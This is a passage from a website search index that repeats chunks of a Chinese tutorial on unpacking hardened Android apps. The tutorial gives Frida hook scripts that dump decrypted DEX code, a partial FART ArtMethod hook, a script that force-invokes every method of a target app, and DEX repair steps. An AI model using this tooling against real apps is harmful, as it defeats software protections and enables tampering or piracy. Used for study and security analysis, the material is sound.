\"_ZN3art9ArtMethod6InvokeEPNS_6ThreadEPjmPNS_6JValueEPKc\", // Android 8.0+ ]; for (var i = 0; i \u003c symbols.length; i++) { artMethodInvokeAddr = Module.findExportByName(\"libart.so\", symbols[i]); if (artMethodInvokeAddr) { console.log(\"[+] 找到 ArtMethod::Invoke: \" + artMethodInvokeAddr); break; } } if (!artMethodInvokeAddr) { console.log(\"[-] 未找到 ArtMethod::Invoke，无法继续\"); } else { Interceptor.attach(artMethodInvokeAddr, { onEnter: function (args) { var artMethod ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:4:4","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#方法-b-手写-hook-脚本-第一代壳"},{"categories":null,"collections":null,"content":"第 3 步: 执行脱壳 (10-60 分钟) 以下提供针对不同代际的脱壳脚本。 方法 A: 使用 frida-dexdump (通用，推荐首选) # 1. 启动 Frida Server adb push frida-server /data/local/tmp/ adb shell \"chmod 755 /data/local/tmp/frida-server\" adb shell \"/data/local/tmp/frida-server \u0026\" # 2. 安装 frida-dexdump pip3 install frida-dexdump # 3. 运行脱壳 (Spawn 模式，在 App 启动时拦截) python3 -m frida_dexdump -U -f com.target.app -o ./output # 输出示例: # [+] Hooking ClassLoader... # [+] Dumped DEX: /output/com.target.app_1234567890.dex (5.2 MB) # [+] Dumped DEX: /output/com.target.app_0987654321.dex (1.8 MB) # [+] Total: 2 DEX files dumped # 4. 将 DEX 文件拉取到本地 adb pull /data/data/com.target.app/files/*.dex ./dumped_dex/ 参数说明: -U: 使用 USB 连接的设备 -f com.target.app: Spawn 模式启动应用 -o ./output: 输出目录 方法 B: 手写 Hook 脚本 (第一代壳) 适用于简单的整体加密壳。 // unpacker_gen1.js - 第一代壳通用脚本 Java.perform(function () { console.log(\"[+] 开始 Hook ClassLoader...\"); // 拦截 1: DexClassLoader (最常见) var DexClassLoader = Java.use(\"dalvik.system.DexClassLoader\"); DexClassLoader.$init.implementation = function ( dexPath, optimizedDirectory, librarySearchPath, parent ) { console.log(\"[+] DexClassLoader 加载 DEX:\"); console.log(\" 路径: \" + dexPath); // 尝试复制 DEX 文件 if (dexPath \u0026\u0026 dexPath.indexOf(\"/data/data/\") !== -1) { try { var File = Java.use(\"java.io.File\"); var FileInputStream = Java.use(\"java.io.FileInputStream\"); var FileOutputStream = Java.use(\"java.io.FileOutputStream\"); var srcFile = File.$new(dexPath); if (srcFile.exists()) { var timestamp = Date.now(); var dstPath = \"/data/data/com.target.app/dumped_\" + timestamp + \".dex\"; var dstFile = File.$new(dstPath); var fis = FileInputStream.$new(srcFile); var fos = FileOutputStream.$new(dstFile); var buffer = Java.array(\"byte\", [1024]); var len; while ((len = fis.read(buffer)) \u003e 0) { fos.write(buffer, 0, len); } fis.close(); fos.close(); console.log(\"✓ [已导出] \" + dstPath); } } catch (e) { console.log(\"[-] 复制失败: \" + e); } } return this.$init(dexPath, optimizedDirectory, librarySearchPath, parent); }; // Hook 2: InMemoryDexClassLoader (内存加载) try { var InMemoryDexClassLoader = Java.use( \"dalvik.system.InMemoryDexClassLoader\" ); InMemoryDexClassLoader.$init.overload( \"java.nio.ByteBuffer\", \"java.lang.ClassLoader\" ).implementation = function (byteBuffer, classLoader) { console.log(\"[+] InMemoryDexClassLoader 加载内存 DEX\"); // 从 ByteBuffer 提取 DEX try { var remaining = byteBuffer.remaining(); console.log(\" DEX 大小: \" + remaining + \" bytes\"); // 获取字节数组 var bytes = Java.array(\"byte\", [remaining]); byteBuffer.get(bytes); // 写入文件 var timestamp = Date.now(); var dstPath = \"/data/data/com.target.app/memory_\" + timestamp + \".dex\"; var File = Java.use(\"java.io.File\"); var FileOutputStream = Java.use(\"java.io.FileOutputStream\"); var dstFile = File.$new(dstPath); var fos = FileOutputStream.$new(dstFile); fos.write(bytes); fos.close(); console.log(\"✓ [已导出] \" + dstPath); // 重置 ByteBuffer 位置 byteBuffer.position(0); } catch (e) { console.log(\"[-] 导出失败: \" + e); } return this.$init(byteBuffer, classLoader); }; } catch (e) { console.log(\"[-] InMemoryDexClassLoader 不存在 (Android \u003c 8.0)\"); } console.log(\"[+] Hook 完成，等待 DEX 加载...\"); }); 使用方法: # Spawn 模式 (推荐) frida -U -f com.target.app -l unpacker_gen1.js --no-pause # Attach 模式 frida -U com.target.app -l unpacker_gen1.js 方法 C: FART 技术 (第二代壳 - 方法抽取) FART (Frida-ART-Hook) 是针对方法抽取壳的高级技术。 // unpacker_fart.js - FART (Frida-ART-Hook) 脚本 // 警告: 此脚本需要深入理解 ART 内部机制，不同 Android 版本可能需要调整偏移 var artMethodInvokeAddr = null; // 根据 Android 版本查找 ArtMethod::Invoke 符号 var symbols = [ \"_ZN3art9ArtMethod6InvokeEPNS_6ThreadEPjjPNS_6JValueEPKc\", // Android 7.0+ \"_ZN3art9ArtMethod6InvokeEPNS_6ThreadEPjmPNS_6JValueEPKc\", // Android 8.0+ ]; for (var i = 0; i \u003c symbols.length; i++) { artMethodInvokeAddr = Module.findExportByName(\"libart.so\", symbols[i]); if (artMethodInvokeAddr) { console.log(\"[+] 找到 ArtMethod::Invoke: \" + artMethodInvokeAddr); break; } } if (!artMethodInvokeAddr) { console.log(\"[-] 未找到 ArtMethod::Invoke，无法继续\"); } else { Interceptor.attach(artMethodInvokeAddr, { onEnter: function (args) { var artMethod ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:4:4","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#方法-c-fart-技术-第二代壳---方法抽取"},{"categories":null,"collections":null,"content":"第 3 步: 执行脱壳 (10-60 分钟) 以下提供针对不同代际的脱壳脚本。 方法 A: 使用 frida-dexdump (通用，推荐首选) # 1. 启动 Frida Server adb push frida-server /data/local/tmp/ adb shell \"chmod 755 /data/local/tmp/frida-server\" adb shell \"/data/local/tmp/frida-server \u0026\" # 2. 安装 frida-dexdump pip3 install frida-dexdump # 3. 运行脱壳 (Spawn 模式，在 App 启动时拦截) python3 -m frida_dexdump -U -f com.target.app -o ./output # 输出示例: # [+] Hooking ClassLoader... # [+] Dumped DEX: /output/com.target.app_1234567890.dex (5.2 MB) # [+] Dumped DEX: /output/com.target.app_0987654321.dex (1.8 MB) # [+] Total: 2 DEX files dumped # 4. 将 DEX 文件拉取到本地 adb pull /data/data/com.target.app/files/*.dex ./dumped_dex/ 参数说明: -U: 使用 USB 连接的设备 -f com.target.app: Spawn 模式启动应用 -o ./output: 输出目录 方法 B: 手写 Hook 脚本 (第一代壳) 适用于简单的整体加密壳。 // unpacker_gen1.js - 第一代壳通用脚本 Java.perform(function () { console.log(\"[+] 开始 Hook ClassLoader...\"); // 拦截 1: DexClassLoader (最常见) var DexClassLoader = Java.use(\"dalvik.system.DexClassLoader\"); DexClassLoader.$init.implementation = function ( dexPath, optimizedDirectory, librarySearchPath, parent ) { console.log(\"[+] DexClassLoader 加载 DEX:\"); console.log(\" 路径: \" + dexPath); // 尝试复制 DEX 文件 if (dexPath \u0026\u0026 dexPath.indexOf(\"/data/data/\") !== -1) { try { var File = Java.use(\"java.io.File\"); var FileInputStream = Java.use(\"java.io.FileInputStream\"); var FileOutputStream = Java.use(\"java.io.FileOutputStream\"); var srcFile = File.$new(dexPath); if (srcFile.exists()) { var timestamp = Date.now(); var dstPath = \"/data/data/com.target.app/dumped_\" + timestamp + \".dex\"; var dstFile = File.$new(dstPath); var fis = FileInputStream.$new(srcFile); var fos = FileOutputStream.$new(dstFile); var buffer = Java.array(\"byte\", [1024]); var len; while ((len = fis.read(buffer)) \u003e 0) { fos.write(buffer, 0, len); } fis.close(); fos.close(); console.log(\"✓ [已导出] \" + dstPath); } } catch (e) { console.log(\"[-] 复制失败: \" + e); } } return this.$init(dexPath, optimizedDirectory, librarySearchPath, parent); }; // Hook 2: InMemoryDexClassLoader (内存加载) try { var InMemoryDexClassLoader = Java.use( \"dalvik.system.InMemoryDexClassLoader\" ); InMemoryDexClassLoader.$init.overload( \"java.nio.ByteBuffer\", \"java.lang.ClassLoader\" ).implementation = function (byteBuffer, classLoader) { console.log(\"[+] InMemoryDexClassLoader 加载内存 DEX\"); // 从 ByteBuffer 提取 DEX try { var remaining = byteBuffer.remaining(); console.log(\" DEX 大小: \" + remaining + \" bytes\"); // 获取字节数组 var bytes = Java.array(\"byte\", [remaining]); byteBuffer.get(bytes); // 写入文件 var timestamp = Date.now(); var dstPath = \"/data/data/com.target.app/memory_\" + timestamp + \".dex\"; var File = Java.use(\"java.io.File\"); var FileOutputStream = Java.use(\"java.io.FileOutputStream\"); var dstFile = File.$new(dstPath); var fos = FileOutputStream.$new(dstFile); fos.write(bytes); fos.close(); console.log(\"✓ [已导出] \" + dstPath); // 重置 ByteBuffer 位置 byteBuffer.position(0); } catch (e) { console.log(\"[-] 导出失败: \" + e); } return this.$init(byteBuffer, classLoader); }; } catch (e) { console.log(\"[-] InMemoryDexClassLoader 不存在 (Android \u003c 8.0)\"); } console.log(\"[+] Hook 完成，等待 DEX 加载...\"); }); 使用方法: # Spawn 模式 (推荐) frida -U -f com.target.app -l unpacker_gen1.js --no-pause # Attach 模式 frida -U com.target.app -l unpacker_gen1.js 方法 C: FART 技术 (第二代壳 - 方法抽取) FART (Frida-ART-Hook) 是针对方法抽取壳的高级技术。 // unpacker_fart.js - FART (Frida-ART-Hook) 脚本 // 警告: 此脚本需要深入理解 ART 内部机制，不同 Android 版本可能需要调整偏移 var artMethodInvokeAddr = null; // 根据 Android 版本查找 ArtMethod::Invoke 符号 var symbols = [ \"_ZN3art9ArtMethod6InvokeEPNS_6ThreadEPjjPNS_6JValueEPKc\", // Android 7.0+ \"_ZN3art9ArtMethod6InvokeEPNS_6ThreadEPjmPNS_6JValueEPKc\", // Android 8.0+ ]; for (var i = 0; i \u003c symbols.length; i++) { artMethodInvokeAddr = Module.findExportByName(\"libart.so\", symbols[i]); if (artMethodInvokeAddr) { console.log(\"[+] 找到 ArtMethod::Invoke: \" + artMethodInvokeAddr); break; } } if (!artMethodInvokeAddr) { console.log(\"[-] 未找到 ArtMethod::Invoke，无法继续\"); } else { Interceptor.attach(artMethodInvokeAddr, { onEnter: function (args) { var artMethod ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:4:4","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#方法-d-内存扫描-通用兜底方案"},{"categories":null,"collections":null,"content":"第 4 步: 验证和修复 DEX (10-30 分钟) 脱壳后的 DEX 文件可能不完整或有损坏，需要验证和修复。 验证步骤 # 1. 拉取导出的 DEX 文件 adb pull /data/data/com.target.app/ ./dumped_files/ # 2. 查看提取到的 DEX 文件 ls -lh ./dumped_files/*.dex # 输出示例: # -rw-r--r-- 1 user user 5.2M dumped_1234567890.dex # -rw-r--r-- 1 user user 1.8M dumped_0987654321.dex # 3. 验证 DEX 文件完整性 xxd ./dumped_files/dumped_1234567890.dex | head -n 2 # 应该看到 DEX magic: 64 65 78 0a (dex\\n) # 4. 使用 Jadx 打开验证 jadx ./dumped_files/dumped_1234567890.dex # 如果能正常反编译，表示脱壳成功 常见需要修复的情况 方法体被 NOP 填充: 症状: Jadx 反编译后看到大量空方法或只有 return 的方法 原因: 壳用占位符替换了真实代码 解决: 如果用 FART dump 了 CodeItem，需要手动替换回去 字符串池损坏: 症状: 反编译后字符串显示为乱码或缺失 解决: 使用 dex-repair 工具重建字符串池 类/方法索引错乱: 症状: 方法调用关系不正确 解决: 使用 smali/baksmali 重新组装 自动化修复工具 # 使用 dex-repair (开源工具) git clone https://github.com/F8LEFT/dex-repair cd dex-repair python3 repair.py ./dumped_files/dumped_1234567890.dex -o ./fixed.dex # 验证修复结果 jadx ./fixed.dex 手动修复流程 (FART 方法抽取) # 1. 将导出的 CodeItem 替换回 DEX # 这需要使用 DexPatcher 或自定义脚本 # 2. 反汇编 DEX baksmali d dumped_1234567890.dex -o ./smali_output # 3. 查找空方法并替换 # 在 smali_output 中，找到方法体为空的 .smali 文件 # 将导出的 CodeItem 反汇编后的内容复制进去 # 4. 重新组装 smali a ./smali_output -o ./repacked.dex # 5. 验证 jadx ./repacked.dex ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:4:5","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#第-4-步-验证和修复-dex-10-30-分钟"},{"categories":null,"collections":null,"content":"第 4 步: 验证和修复 DEX (10-30 分钟) 脱壳后的 DEX 文件可能不完整或有损坏，需要验证和修复。 验证步骤 # 1. 拉取导出的 DEX 文件 adb pull /data/data/com.target.app/ ./dumped_files/ # 2. 查看提取到的 DEX 文件 ls -lh ./dumped_files/*.dex # 输出示例: # -rw-r--r-- 1 user user 5.2M dumped_1234567890.dex # -rw-r--r-- 1 user user 1.8M dumped_0987654321.dex # 3. 验证 DEX 文件完整性 xxd ./dumped_files/dumped_1234567890.dex | head -n 2 # 应该看到 DEX magic: 64 65 78 0a (dex\\n) # 4. 使用 Jadx 打开验证 jadx ./dumped_files/dumped_1234567890.dex # 如果能正常反编译，表示脱壳成功 常见需要修复的情况 方法体被 NOP 填充: 症状: Jadx 反编译后看到大量空方法或只有 return 的方法 原因: 壳用占位符替换了真实代码 解决: 如果用 FART dump 了 CodeItem，需要手动替换回去 字符串池损坏: 症状: 反编译后字符串显示为乱码或缺失 解决: 使用 dex-repair 工具重建字符串池 类/方法索引错乱: 症状: 方法调用关系不正确 解决: 使用 smali/baksmali 重新组装 自动化修复工具 # 使用 dex-repair (开源工具) git clone https://github.com/F8LEFT/dex-repair cd dex-repair python3 repair.py ./dumped_files/dumped_1234567890.dex -o ./fixed.dex # 验证修复结果 jadx ./fixed.dex 手动修复流程 (FART 方法抽取) # 1. 将导出的 CodeItem 替换回 DEX # 这需要使用 DexPatcher 或自定义脚本 # 2. 反汇编 DEX baksmali d dumped_1234567890.dex -o ./smali_output # 3. 查找空方法并替换 # 在 smali_output 中，找到方法体为空的 .smali 文件 # 将导出的 CodeItem 反汇编后的内容复制进去 # 4. 重新组装 smali a ./smali_output -o ./repacked.dex # 5. 验证 jadx ./repacked.dex ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:4:5","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#验证步骤"},{"categories":null,"collections":null,"content":"第 4 步: 验证和修复 DEX (10-30 分钟) 脱壳后的 DEX 文件可能不完整或有损坏，需要验证和修复。 验证步骤 # 1. 拉取导出的 DEX 文件 adb pull /data/data/com.target.app/ ./dumped_files/ # 2. 查看提取到的 DEX 文件 ls -lh ./dumped_files/*.dex # 输出示例: # -rw-r--r-- 1 user user 5.2M dumped_1234567890.dex # -rw-r--r-- 1 user user 1.8M dumped_0987654321.dex # 3. 验证 DEX 文件完整性 xxd ./dumped_files/dumped_1234567890.dex | head -n 2 # 应该看到 DEX magic: 64 65 78 0a (dex\\n) # 4. 使用 Jadx 打开验证 jadx ./dumped_files/dumped_1234567890.dex # 如果能正常反编译，表示脱壳成功 常见需要修复的情况 方法体被 NOP 填充: 症状: Jadx 反编译后看到大量空方法或只有 return 的方法 原因: 壳用占位符替换了真实代码 解决: 如果用 FART dump 了 CodeItem，需要手动替换回去 字符串池损坏: 症状: 反编译后字符串显示为乱码或缺失 解决: 使用 dex-repair 工具重建字符串池 类/方法索引错乱: 症状: 方法调用关系不正确 解决: 使用 smali/baksmali 重新组装 自动化修复工具 # 使用 dex-repair (开源工具) git clone https://github.com/F8LEFT/dex-repair cd dex-repair python3 repair.py ./dumped_files/dumped_1234567890.dex -o ./fixed.dex # 验证修复结果 jadx ./fixed.dex 手动修复流程 (FART 方法抽取) # 1. 将导出的 CodeItem 替换回 DEX # 这需要使用 DexPatcher 或自定义脚本 # 2. 反汇编 DEX baksmali d dumped_1234567890.dex -o ./smali_output # 3. 查找空方法并替换 # 在 smali_output 中，找到方法体为空的 .smali 文件 # 将导出的 CodeItem 反汇编后的内容复制进去 # 4. 重新组装 smali a ./smali_output -o ./repacked.dex # 5. 验证 jadx ./repacked.dex ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:4:5","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#常见需要修复的情况"},{"categories":null,"collections":null,"content":"第 4 步: 验证和修复 DEX (10-30 分钟) 脱壳后的 DEX 文件可能不完整或有损坏，需要验证和修复。 验证步骤 # 1. 拉取导出的 DEX 文件 adb pull /data/data/com.target.app/ ./dumped_files/ # 2. 查看提取到的 DEX 文件 ls -lh ./dumped_files/*.dex # 输出示例: # -rw-r--r-- 1 user user 5.2M dumped_1234567890.dex # -rw-r--r-- 1 user user 1.8M dumped_0987654321.dex # 3. 验证 DEX 文件完整性 xxd ./dumped_files/dumped_1234567890.dex | head -n 2 # 应该看到 DEX magic: 64 65 78 0a (dex\\n) # 4. 使用 Jadx 打开验证 jadx ./dumped_files/dumped_1234567890.dex # 如果能正常反编译，表示脱壳成功 常见需要修复的情况 方法体被 NOP 填充: 症状: Jadx 反编译后看到大量空方法或只有 return 的方法 原因: 壳用占位符替换了真实代码 解决: 如果用 FART dump 了 CodeItem，需要手动替换回去 字符串池损坏: 症状: 反编译后字符串显示为乱码或缺失 解决: 使用 dex-repair 工具重建字符串池 类/方法索引错乱: 症状: 方法调用关系不正确 解决: 使用 smali/baksmali 重新组装 自动化修复工具 # 使用 dex-repair (开源工具) git clone https://github.com/F8LEFT/dex-repair cd dex-repair python3 repair.py ./dumped_files/dumped_1234567890.dex -o ./fixed.dex # 验证修复结果 jadx ./fixed.dex 手动修复流程 (FART 方法抽取) # 1. 将导出的 CodeItem 替换回 DEX # 这需要使用 DexPatcher 或自定义脚本 # 2. 反汇编 DEX baksmali d dumped_1234567890.dex -o ./smali_output # 3. 查找空方法并替换 # 在 smali_output 中，找到方法体为空的 .smali 文件 # 将导出的 CodeItem 反汇编后的内容复制进去 # 4. 重新组装 smali a ./smali_output -o ./repacked.dex # 5. 验证 jadx ./repacked.dex ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:4:5","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#自动化修复工具"},{"categories":null,"collections":null,"content":"第 4 步: 验证和修复 DEX (10-30 分钟) 脱壳后的 DEX 文件可能不完整或有损坏，需要验证和修复。 验证步骤 # 1. 拉取导出的 DEX 文件 adb pull /data/data/com.target.app/ ./dumped_files/ # 2. 查看提取到的 DEX 文件 ls -lh ./dumped_files/*.dex # 输出示例: # -rw-r--r-- 1 user user 5.2M dumped_1234567890.dex # -rw-r--r-- 1 user user 1.8M dumped_0987654321.dex # 3. 验证 DEX 文件完整性 xxd ./dumped_files/dumped_1234567890.dex | head -n 2 # 应该看到 DEX magic: 64 65 78 0a (dex\\n) # 4. 使用 Jadx 打开验证 jadx ./dumped_files/dumped_1234567890.dex # 如果能正常反编译，表示脱壳成功 常见需要修复的情况 方法体被 NOP 填充: 症状: Jadx 反编译后看到大量空方法或只有 return 的方法 原因: 壳用占位符替换了真实代码 解决: 如果用 FART dump 了 CodeItem，需要手动替换回去 字符串池损坏: 症状: 反编译后字符串显示为乱码或缺失 解决: 使用 dex-repair 工具重建字符串池 类/方法索引错乱: 症状: 方法调用关系不正确 解决: 使用 smali/baksmali 重新组装 自动化修复工具 # 使用 dex-repair (开源工具) git clone https://github.com/F8LEFT/dex-repair cd dex-repair python3 repair.py ./dumped_files/dumped_1234567890.dex -o ./fixed.dex # 验证修复结果 jadx ./fixed.dex 手动修复流程 (FART 方法抽取) # 1. 将导出的 CodeItem 替换回 DEX # 这需要使用 DexPatcher 或自定义脚本 # 2. 反汇编 DEX baksmali d dumped_1234567890.dex -o ./smali_output # 3. 查找空方法并替换 # 在 smali_output 中，找到方法体为空的 .smali 文件 # 将导出的 CodeItem 反汇编后的内容复制进去 # 4. 重新组装 smali a ./smali_output -o ./repacked.dex # 5. 验证 jadx ./repacked.dex ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:4:5","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#手动修复流程-fart-方法抽取"},{"categories":null,"collections":null,"content":"原理深入 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:5:0","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#原理深入"},{"categories":null,"collections":null,"content":"加固流程示意 打包时加固流程: ┌─────────────────┐ │ 1. DEX 加密 │ 将 classes.dex 加密为 encrypted.dat └────────┬────────┘ ↓ ┌─────────────────┐ │ 2. 壳代替换 │ 用壳 DEX 替换 classes.dex └────────┬────────┘ ↓ ┌─────────────────┐ │ 3. 重新打包签名 │ 生成加固后的 APK └─────────────────┘ 运行时解密流程: Application.onCreate() ↓ 壳代码执行 ↓ 解密 encrypted.dat ↓ DexClassLoader.load(解密后的 DEX) ↓ 跳转到原始 Application 入口 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:5:1","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#加固流程示意"},{"categories":null,"collections":null,"content":"脱壳时机示意 App 启动 ↓ 壳代码运行 ↓ 解密原始 DEX ← Hook 点 1: ClassLoader ↓ ART 加载 DEX 到内存 ← Hook 点 2: libart.so ↓ 编译为 OAT 格式 ↓ 类初始化和方法调用 ← Hook 点 3: ArtMethod::Invoke ↓ 原始代码执行 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:5:2","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#脱壳时机示意"},{"categories":null,"collections":null,"content":"常见问题 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:6:0","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#常见问题"},{"categories":null,"collections":null,"content":"❌ 问题 1: frida-dexdump 无法 dump 任何文件 可能原因: 壳检测到 Frida 并提前退出 Hook 时机太晚，DEX 已经加载完毕 使用了非标准的加载方式 解决方案: # 1. 先绕过 Frida 检测 frida -U -f com.target.app -l bypass_frida_detection.js --no-pause # 等待应用启动后，再运行 dexdump (分两步) frida -U com.target.app -l frida_dexdump_manual.js # 2. 尝试更早的拦截点 # 修改 frida-dexdump 源码，在 libc.so fork() 之前就注入 # 3. 使用内存扫描作为兜底方案 frida -U com.target.app -l unpacker_memscan.js ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:6:1","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#-问题-1-frida-dexdump-无法-dump-任何文件"},{"categories":null,"collections":null,"content":"❌ 问题 2: Dump 的 DEX 无法被 Jadx 识别 可能原因: Dump 的时机不对，DEX 还未完全解密 DEX 文件被截断 内存中的 DEX 已被修改 (如方法抽取) 解决方案: # 1. 检查 DEX 文件头 xxd dumped.dex | head -n 5 # 前 4 字节必须是: 64 65 78 0a (dex\\n) # 后 4 字节是版本号: 30 33 35 00 (035) 或 30 33 38 00 (038) # 2. 验证文件大小 # 偏移 32 字节处记录文件大小 dd if=dumped.dex bs=1 skip=32 count=4 | xxd # 与实际文件大小对比 # 3. 尝试修复工具 dex-repair dumped.dex -o fixed.dex # 4. 如果是方法抽取壳，需要用 FART 补全方法体 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:6:2","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#-问题-2-dump-的-dex-无法被-jadx-识别"},{"categories":null,"collections":null,"content":"❌ 问题 3: FART 脚本导致应用崩溃 可能原因: ArtMethod 结构偏移错误 (Android 版本不匹配) 读取了无效的内存地址 Hook 符号错误 解决方案: // 1. 添加异常保护 Interceptor.attach(artMethodInvokeAddr, { onEnter: function (args) { try { var artMethod = args[0]; // ... 你的代码 } catch (e) { console.log(\"[-] 捕获异常: \" + e); // 不要重新抛出，避免崩溃 } }, }); // 2. 根据 Android 版本动态调整偏移 var androidVersion = Java.androidVersion; var codeItemOffset; if (androidVersion \u003e= 10) { codeItemOffset = 16; // Android 10+ } else if (androidVersion \u003e= 8) { codeItemOffset = 20; // Android 8-9 } else { codeItemOffset = 24; // Android 7 } // 3. 检查指针有效性 if (codeItemPtr \u0026\u0026 !codeItemPtr.isNull()) { // 尝试读取前先检查是否可读 try { Process.findRangeByAddress(codeItemPtr); // 会抛出异常如果地址无效 var insnsSize = codeItemPtr.add(12).readU32(); // ... } catch (e) { console.log(\"[-] 无效地址: \" + codeItemPtr); } } ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:6:3","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#-问题-3-fart-脚本导致应用崩溃"},{"categories":null,"collections":null,"content":"❌ 问题 4: 方法抽取壳只 dump 出部分方法 可能原因: FART 技术只能 dump 被调用过的方法 部分方法在特定条件下才会触发 解决方案: # 1. 使用 FART 技术 (见第 3 步方法 C) # 必须触发所有关键方法调用才能完整导出 # 2. 手动触发方法调用 # 写一个测试脚本，遍历所有类的所有方法并调用 # 3. 使用专用工具 # FUPK3、Youpk 等工具已内置方法主动调用逻辑 主动调用所有方法的脚本: Java.perform(function () { Java.enumerateLoadedClasses({ onMatch: function (className) { if (className.indexOf(\"com.target.app\") !== -1) { try { var clazz = Java.use(className); var methods = clazz.class.getDeclaredMethods(); methods.forEach(function (method) { try { // 尝试调用静态方法 (传空参数) console.log(\"[+] 尝试调用: \" + method.getName()); method.invoke(null, []); } catch (e) { // 忽略调用失败 } }); } catch (e) {} } }, onComplete: function () { console.log(\"[+] 方法触发完成\"); }, }); }); ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:6:4","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#-问题-4-方法抽取壳只-dump-出部分方法"},{"categories":null,"collections":null,"content":"相关链接 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:7:0","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#相关链接"},{"categories":null,"collections":null,"content":"相关配方 项目 说明 Recipe: 绕过 App 对 Frida 的检测 脱壳前通常需要先过反调试 Recipe: 抓包分析 Android 应用的网络流量 脱壳后抓包分析加密逻辑 Recipe: SO 混淆与反混淆 Native 层加固的处理 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:7:1","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#相关配方"},{"categories":null,"collections":null,"content":"工具深入 Frida 内部原理 - 理解 Frida Hook 机制 Unidbg 使用指南 - 仿真执行 Native 解密函数 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:7:2","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#工具深入"},{"categories":null,"collections":null,"content":"案例分析 💡 思路一句话: 脱壳的本质是「在 DEX 被解密加载到内存后，从内存中 dump 出来」— 不同加固方案的壳不同，但 DEX 最终都要进入 ART 虚拟机执行，在这个时机点 dump 就对了。 案例: 某音乐 App 的加固分析 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:7:3","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#案例分析"},{"categories":null,"collections":null,"content":"参考资料 DEX 文件格式详解 ART 运行时机制 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:7:4","tags":["Native层","签名验证","Frida","SSL 